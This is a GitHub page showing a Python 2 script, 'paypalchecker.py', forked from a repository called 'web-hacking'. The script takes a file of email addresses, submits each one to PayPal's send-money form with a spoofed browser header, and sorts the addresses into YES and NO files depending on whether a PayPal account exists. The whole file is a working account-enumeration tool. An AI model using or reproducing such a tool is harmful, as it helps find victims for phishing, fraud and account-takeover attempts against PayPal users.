forked from amitech/web-hacking
-
Notifications
You must be signed in to change notification settings - Fork 0
/
paypalchecker.py
61 lines (52 loc) · 1.93 KB
/
paypalchecker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python
import urllib2 , re , cookielib, time
import threading
emailslist = []
def PaypalChecker(ss):
check = re.compile("Country or region" , re.I)
baseurl = "https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email="+ss+"&email=gz%40s.com¤cy=USD&amount=10&amount_ccode=USD&submit.x=Continue"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [
('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'),
('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.3'),
('Accept-Encoding', 'none'),
('Accept-Language', 'en-US,en;q=0.8'),
('Connection', 'keep-alive')
]
#req = urllib2.Request(baseurl , headers=hdr)
#html = urllib2.urlopen(req).read()
ssss = opener.open(baseurl)
html = ssss.read()
hmmm = re.findall(check , html)
#print hmmm
if len(hmmm) != 0:
print "[*] %s ==> NO" % ss
nowrite.write(ss)
nowrite.write('\n')
nowrite.close()
else:
print "[*] %s ==> YES" % ss
yeswrite.write(ss)
yeswrite.write('\n')
yeswrite.close()
return
textfile = raw_input("Enter Text File >>> ")
with open(textfile , "r") as f:
emails = f.readlines()
for email in emails:
email = email.rstrip('\n')
emailslist.append(email)
yeswrite = open('YES.txt' , 'a')
nowrite = open('NO.txt' , 'a')
print "\n"
print "\n"
print "Emails To Check : " + str(len(emailslist))
print "\n"
#threads = []
for em in emailslist:
# Parallel Multithreading The Easy way using threading module
t = threading.Thread(target=PaypalChecker, args=(em,))
t.start()
time.sleep(2)